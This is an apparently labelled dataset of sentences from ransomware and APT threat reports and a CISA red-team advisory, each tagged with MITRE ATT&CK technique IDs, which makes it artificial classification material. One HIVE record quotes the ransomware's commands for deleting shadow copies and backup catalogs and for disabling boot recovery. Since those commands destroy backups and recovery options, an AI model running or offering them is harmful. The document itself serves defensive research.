to appropriate actions Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Cortex XSOAR Deploy XSOAR Playbook - Port Scan Lateral Movement", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This backdoor enables Threat Actors (TAs) to exfiltrate system information, files, and other sensitive data from the targeted victim’s machine.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "The infection process initiates through a spam email comprising an attached MS Office document named “[FINAL] Hiroshima Action Statement for Resilient Global Food Security_trackchanged.docx.”", "labels": ["T1566.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Figure 2 – Spam email containing malicious doc attachment", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Once the RTF file is executed, it proceeds to decrypt and drops an embedded payload, which is a DLL file saved under the name “c6gt.b” in the %temp% directory.", "labels": ["T1027", "T1140"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Figure 5 – Embedded payload in RTF file Once the persistence is established, the RTF file proceeds to execute the downloaded DLL payload by utilizing the “rundll32.exe” command as follows:", "labels": ["T1218.011"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "It contains four export functions, as depicted below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "If they deem the victim’s machine to be intriguing, the C&C server responds with the next stage executable.", "labels": ["T1573.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Block URLs that could be used to spread the malware, e.g., Torrent/Warez.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Recently, Rapid7 observed a malicious actor performing several known techniques for distributing ransomware across many systems within a victim’s environment.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "In this article, we’ll explore the techniques employed by the threat actor, why they’re so effective, and how we’ve updated InsightIDR to protect against them.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "LegalNoticeText /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "LegalNoticeCaption /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "/v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "DefaultUserName /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "This is likely intended to override the default behavior and not discover network shares to encrypt their files.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "With no active defenses (Antivirus or Endpoint Protection) the system comes up and tries to start its defined shell which has been swapped to a batch script (file2.bat) by the malicious actor.", "labels": ["T1059.003"], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "Bringing the host back online in this state will still continue to execute the malware when logged into, which will also enable the default network spreading behavior.bcdedit /deletevalue", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "There have been some flags that are noted to exist, but their features are not documented.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "Rapid7 has analyzed the behaviors of these flags, documented them in addition to discovering two new flags (-timer, -low-key) in the HIVE ransomware samples.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies (malicious use of vssadmin.exe, wmic.exe), deleting backup catalogs (malicious use of wbadmin.exe), and disabling Windows Recovery Mode (malicious use of bcdedit.exe).", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "Will also skip enumeration and stopping of antivirus software.-no-local--no-localDo not encrypt local files-no-mounted--no-mountedDo not encrypted mounted filesystems-no-discovery--no-discoveryDo not enumerate or encrypt file shares on the network-local-only--local-onlyOnly encrypt local file systems-network-only--network-onlyOnly encrypt file shares on the network.-explicit-only--explicit-onlyOnly encrypt files in this specific path specified-min-size--min-sizeOnly encrypt files greater than or equal to a specific number of bytes-t-timer--timerDo not encrypt files until after specified number of secondsBy default, the ransomware will execute the following child processes with the following arguments:Use of vssadmin.exe in order to delete shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:\"C:\\Windows\\System32\\vssadmin.exe\" delete shadows /all /quietUse of wmic.exe to create calls that also delete all shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:\"C:\\Windows\\System32\\wbem\\WMIC.exe\" shadowcopy deleteUse of wbadmin.exe to delete backup catalogs:\"C:\\Windows\\System32\\wbadmin.exe\" delete systemstatebackup\"C:\\Windows\\System32\\wbadmin.exe\" delete catalog-quiet\"C:\\Windows\\System32\\wbadmin.exe\" delete systemstatebackup -keepVersions:3Use of bcdedit.exe to disable automatic repair and ignore errors when booting:\"C:\\Windows\\System32\\bcdedit.exe\" /set", "labels": ["T1562.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "Create AccountT1136.001 - Local AccountT1140 - Deobfuscate/Decode Files Or InformationT1197 - BITS JobsT1480 - Execution GuardrailsT1484 - Domain Policy ModificationT1484.001 - Group Policy ModificationT1485 - Data DestructionT1486 - Data Encrypted For ImpactT1489 - Service StopT1490 - Inhibit System RecoveryT1529 - System Shutdown/RebootT1547 - Boot Or Logon Autostart ExecutionT1560 - Archive Collected DataT1560.001 -", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "We also noted more sophisticated encryption and basic anti-analysis techniques, such as byte remapping and web browser communication blocking.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "In blocking and detecting these illicit software solutions, we have come to believe that the people behind these kinds of software try to convince users looking for bootleg software versions that these are not malicious and are simply flagged as “false positives.”", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Through all the samples we analyzed, we consistently observed the following binary carriers: gup.exe from Notepad++ firefox.exe from Tor ErrorReportClient.exe from Magix, a type of multimedia-editing software Figure 2.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Execution flow of ViperSoftX ViperSoftX first checks for a few virtualization strings and monitoring tools to check if the system is running a virtual machine (VM).", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "From there, the routine is its standard multistage download and execution routine.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "For their part, cybercriminals benefit from this malware as it reduces the presence and actions made by a large graph of objects.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "As of this writing, the most recent piece of malware that uses this technique is the JavaScript- or Windows Scripting File-packed Magniber ransomware.", "labels": ["T1027", "T1059.003"], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "ViperSoftX scans for these cryptocurrency wallets in local directories: Armory Atomic Wallet Binance Bitcoin Blockstream Green Coinomi Delta Electrum Exodus Guarda Jaxx Liberty Ledger Live Trezor Bridge", "labels": ["T1083"], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Install browser components: Brave Browser Chrome Firefox Microsoft Edge Opera The updated version of ViperSoftX includes a check mechanism for two password managers, namely KeePass 2 and 1Password.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Noting the malware’s capability to scann KeePass, we looked into the possible abuse of the KeePass security gap CVE-2023-24055, which forces the application to dump stored passwords in plain text (a feature already disabled in recent patches and versions).", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "According to our investigation, although there are low numbers of victims related to the exploit, the said detections do not appear related to ViperSoftX victims.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "scanning browser extensions and directories for wallets and password managers Victims affected: Consumers and businesses alike Due to the nature of its arrival technique, we primarily assumed that the targets and victims would be regular users.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "The cybercriminals behind ViperSoftX are also skilled enough to execute a seamless chain for malware execution while staying under the radar of authorities by selecting one of the most effective methods for delivering malware to consumers.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Download the PDF version of this report: CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks (PDF, 1.06 MB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The “victim” for this assessment was a large organization with multiple geographically separated sites throughout the United States.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "For this assessment, the red team’s goal during Phase I was to gain access to certain sensitive business systems (SBSs).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1615].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "There were 52 hosts in the AD that had Unconstrained Delegation enabled and a lastlogon timestamp within 30 days of the query.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "To obtain the credentials, the team took a snapshot of lsass.exe", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team then exploited the Unconstrained Delegation misconfiguration to steal the DC’s TGT.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1003.006] for the krbtgt account and several privileged accounts—including domain admins, workstation admins, and a system center configuration management (SCCM) service account (SCCM Account 1).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team first impersonated the SCCM Account 1 and moved laterally to a Site 1 SCCM distribution point (DP) server (SCCM Server 1) that had direct network access to Workstation 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Listed existing network connections", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1049] on SCCM Server 1, which revealed an active Server Message Block (SMB) connection from SCCM Server 2. Attempted to move laterally to the SCCM Server 2 via AppDomain hijacking, but the HTTPS beacon failed to call back.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team also moved from SCCM Server 1 to a Site 1 workstation (Workstation 3) that housed an active server administrator.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "At the organization’s request, the red team confirmed that SCCM Server 2 provided access to the organization’s sites because firewall rules allowed SMB traffic to SCCM servers at all other sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team leveraged access available from SCCM 2 to move around the organization’s network for post-exploitation activities (See Post-Exploitation Activity section).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "DLL) hijacking", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1574.001].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "An MFA prompt blocked the team from moving to SBS 2, and Phase I ended before they could implement potential workarounds.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Adding previously collected AD data to this discovery, the team was able to identify a specific SBS 1 admin account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Resetting permissions back to their original state by removing the policy via the MDM API and removing Create Policy and Delete Policy and administrator permissions and from the MDM user’s account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "While interacting with Workstation 4, the team found an open SSH socket file and a corresponding netstat connection to a host that the team identified as a bastion host from architecture documentation found on Workstation 4.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "They found a security operations (SecOps) network diagram detailing the network boundaries between Site 5 SecOps on-premises systems, Site 5 non-SecOps on-premises systems, and Site 5 SecOps cloud infrastructure.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Using their access to the MDM MySQL database, the team queried potential targets to (1) determine the target’s last contact time with the MDM and (2) ensure any policy targeting the target’s workstation would run relatively quickly [T1596.005].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1552.003].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Note: Merlin is a post-exploit tool that leverages HTTP protocols for C2 traffic.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team used these platforms to create flexible and dynamic redirect servers to send traffic to the team’s Cobalt Strike servers [T1090.002].", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team used domain fronting [T1090.004] to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "This technique, which also leverages CDNs, allows the beacon to appear to connect to third-party domains, such as nytimes.com, when it is actually connecting to the team’s redirect server. Phase II: Red Team Measurable Events Activity", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The red team executed 13 measurable events designed to provoke a response from the people, processes, and technology defending the organization’s network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Data Exfiltration—1 GB of Data Send a large amount (1 GB) of mock sensitive information to an external system over various protocols, including ICMP, DNS, FTP, and/or HTTP/S. Exfiltration Over Alternative", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1531] Windows Event Logs End User Reporting Detect and Identify source IP and source process of exfiltration Analyze host used for exfiltration once detected Develop response plan None Local Admin User Account Creation (workstation) Create a local administrator account on a target workstation system.", "labels": ["T1016"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Create Account: Local Account [T1136.001] Account Manipulation [T1098] Windows Event Logs Detect account creation Identify source of change Verify change with system owner Develop response plan", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1071] Intrusion Detection or Prevention Systems Endpoint Protection Platform Web Proxy Logs Detect and identify source IP and source process of malicious traffic Investigate destination IP address Triage compromised host Develop response plan None Trigger Host-Based Protection—Domain Controller Upload and execute a well-known (e.g., with a signature) malicious file to a target DC system to generate host-based alerts.", "labels": ["T1016", "T1105"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The organization failed to detect lateral movement, persistence, and C2 activity via their intrusion detection or prevention systems, endpoint protection platform, web proxy logs, and Windows event logs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team discovered several standard user accounts that have local administrator access to critical servers.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Some workstations allowed unprivileged accounts to have local administrator access; for example, the red team discovered an ordinary user account in the local admin group for the SharePoint server.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Lack of server egress control.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Inconsistent host configuration.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "For example, some workstations had “Server Admins” or “Domain Admins” as local administrators, and other workstations had neither.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Service account passwords were strong.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "This is a critical strength because it slowed the team from moving around the network in the initial parts of the Phase I.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Tune host-based products to detect anomalous binaries, lateral movement, and persistence techniques.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "This could help detect some of the pass-the-ticket, DCSync, and other techniques described in this report.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[CPG 1.1]. Conduct regular assessments to ensure processes and procedures are up to date and can be followed by security staff and end users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The password must be changed twice to effectively invalidate the old credentials.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "If an individual user needs administrative rights over their workstation, use a separate account that does not have administrative access to other hosts, such as servers. Consider using a privileged access management (PAM) solution to manage access to privileged accounts and resources", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "If Unconstrained Delegation functionality is required, upgrade operating systems and applications to leverage other approaches (e.g., constrained delegation) or explore whether systems can be retired or further isolated from the enterprise.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[CPG 5.1].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[CPG 2.1].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Remove unnecessary, extraneous software from servers and workstations.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Regular changing of memorized passwords can lead to predictable patterns, and both CISA and the National Institute of Standards and Technology (NIST) recommend against changing passwords on regular intervals.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "RedEye is an interactive open-source analytic tool used to visualize and report red team command and control activities.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Gather Victim Identify Information: Employee Names T1589.003", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team conducted open-source research to identify the physical locations of upkeep/management staff of selected assets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Obtain Capabilities: Tool T1588.002 The team used the following tools: Cobalt Strike and Merlin payloads for C2. KeeThief to obtain a decryption key from a KeePass database Rubeus and DFSCoerce in an NTLM relay attack Initial Access Technique Title ID Use Phishing: Spearphishing Link T1566.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team then deployed Rubeus to capture the incoming DC TGT. Steal or Forge Kerberos Tickets: Golden Ticket T1558.001", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team used the acquired krbtgt account hash throughout their assessment to forge legitimate TGTs. Steal or Forge Kerberos Tickets: Kerberoasting T1558.003 The team leveraged Rubeus and DFSCoerce in a NTLM relay attack to obtain the DC’s TGT from a host with Unconstrained Delegation enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Discovery Technique Title ID Use System Network Configuration Discovery T1016", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Cloud Infrastructure Discovery T1580 The team found SecOps network diagrams on a host detailing cloud infrastructure boundaries.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "During Phase II, the team enumerated the AD for current session information from every domain computer (Workstation and Server).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Lateral Movement Technique Title ID Use Remote Services: SMB/Windows Admin Shares T1021.002", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "During Phase II, they used compromised workstation and domain admin accounts to upload a payload via SMB on several target Workstations and the DC.", "labels": ["T1078", "T1570"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team used the asktgt command to impersonate accounts for which they had credentials by requesting account TGTs. Command and Control Technique Title ID Use Application Layer Protocol T1071 The team remotely enumerated the local administrators group on target hosts to find valid user accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and McAfee research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "For more details on NetWalker, see the McAfee ATR blog here.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "Mitigating the risk of attacks like NetWalker requires a security architecture with the right controls at the device, on the network and in security operations (sec ops).", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "For ransomware, and NetWalker in particular, the controls must be layered throughout the enterprise.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "For more information on how McAfee can protect against suspicious email attachments, review this additional blog post. Using valid accounts and protocols, such as for Remote Desktop Protocol, is an attack technique we have seen rise during the initial COVID-19 period.", "labels": ["T1021.001", "T1078"], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "PowerShell Script CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Service Execution (T1569.002)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "PS Exec CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Command and Scripting Interpreter (T1059.003) Windows Command Shell CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Native API (T1106) Use Windows API functions to inject DLL CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR Execution Windows Management Instrumentation ((T1047)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "NL Brute CSC 4 Controlled use of admin privileges CSC 16 Account Monitoring Enterprise Security Manager – Log Analysis Impact Stage Defensive Overview", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "The impact stage is where the attacker encrypts the target system, data and perhaps moves laterally to other systems on the network.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Enterprise Security Manger – Log Collection and Analysis Collection Data from local system (T1005)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "McAfee ePO centralizes event collection from all managed endpoint systems.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "This blog highlights how to use McAfee’s security solutions to prevent, detect and respond to NetWalker and attackers using similar techniques.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "INTRODUCTION Quadrant was recently able to aid a client during an organization wide compromise by the Black Basta ransomware group.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The following contains an overview of the compromise as it progressed, as well a technical analysis of the malware and techniques observed, ranging from a successful phishing campaign to the attempted ransomware detonation.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The names of all clients, all accounts, and some files have been modified for client confidentiality.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Following initial phishing emails, the threat actor continued to submit additional phishing emails to the client via similar account names from different domains.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Both samples reached their victims shortly after noon on the 20th of September", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "One may assume that traffic over 2222 would be SSH traffic, however further analysis of the traffic generated by the Qakbot Sample in the lab shows that this connection was likely HTTPS in nature.", "labels": ["T1071.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This technique was observed in the Commerce environment through a sharp incline of Kerberos requests using RC4 encryption.", "labels": ["T1573.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Once administrative access had been achieved, the threat actor also added new administrative accounts to the environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The other, targeting Windows Defender, required multiple steps in order to view the commands.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Once a file server was identified, an FTP connection was established to an external site.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "RClone is designed to transfer large volumes of data from one host to the cloud with ease.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "From the analyst's perspective, the only alert that was generated and brought to the SOC was a Suricata FTP rule looking for CVE 1999-0911, related to an overflow using the MKD command.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "However, with the amount of knowledge of the situation and years of experience on his side, a member of the I.R. team decided to look at the raw logs in real time to see if anything stood out.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Ultimately, this was considered a success in defense of the client.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "When downloaded, the initial attachment is a local HTML file.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The web page claims to be an adobe site and that the attached document is a PDF which is password protected: Using the password \"abc888\" to unzip the attachment, the user is presented with an ISO file.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Clicking on these calls the corresponding JavaScript file contained within each iso.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "According to Suricata logs, this was also the first IP that was reached out to via 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The largest connection between P0 and the C2 domain.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "POTENTIAL COBALT STRIKE INSTALLATION - TOX5.EXE Initial static review of the tox5 sample did not reveal much information, indicators show that this may have the ability to clear event logs.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Although no obvious signs of compromise were apparent to the user of the infected host, a review of the network traffic from the host showed the newly installed program reached out to \"gerhiles[.]com\", which had been observed during the incident as a Command and Control site.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Although no direct RPC actions were observed, possibly from lack of logging or the method of RPC use, multiple logs throughout the incident show the transfer of files using SMB.", "labels": ["T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Showing the Transfer of Cobalt Strike Beacons using RDPClip: The first part of the command is below, with the payload redacted for size and ease of readability.", "labels": ["T1021.001", "T1570"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This occurred immediately following the clipboard transfer of the command \"net stop Cisco AMP\".", "labels": ["T1027", "T1562.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The second encoded Base64 string was not only base64 but also Gziped for size and obfuscation.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Leveraging the Cobalt Strike payload decoder from Github user \"0xtornado\" shows that the payloads were sent using the user agent below.", "labels": ["T1140"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Also note the use of \"-forcepath\" and \"-bomb\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This uses a mixture of disguising the ASCII as UTF-16 via manipulating the start of the file, as well as obfuscating the data using a simple cypher.", "labels": ["T1027"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Over the past several years, multiple cyber security firms and the FBI have posted increased observation of the use of “RClone” to exfil data.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Suricata Flow log from \"Subsidiary PIE\" to the IP resolved for “Rclone”.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "(Other logs are available showing the DNS request and download of RClone for the Construction domain as well): ENCRYPTION VIA BLACK BASTA RANSOMWARE", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} 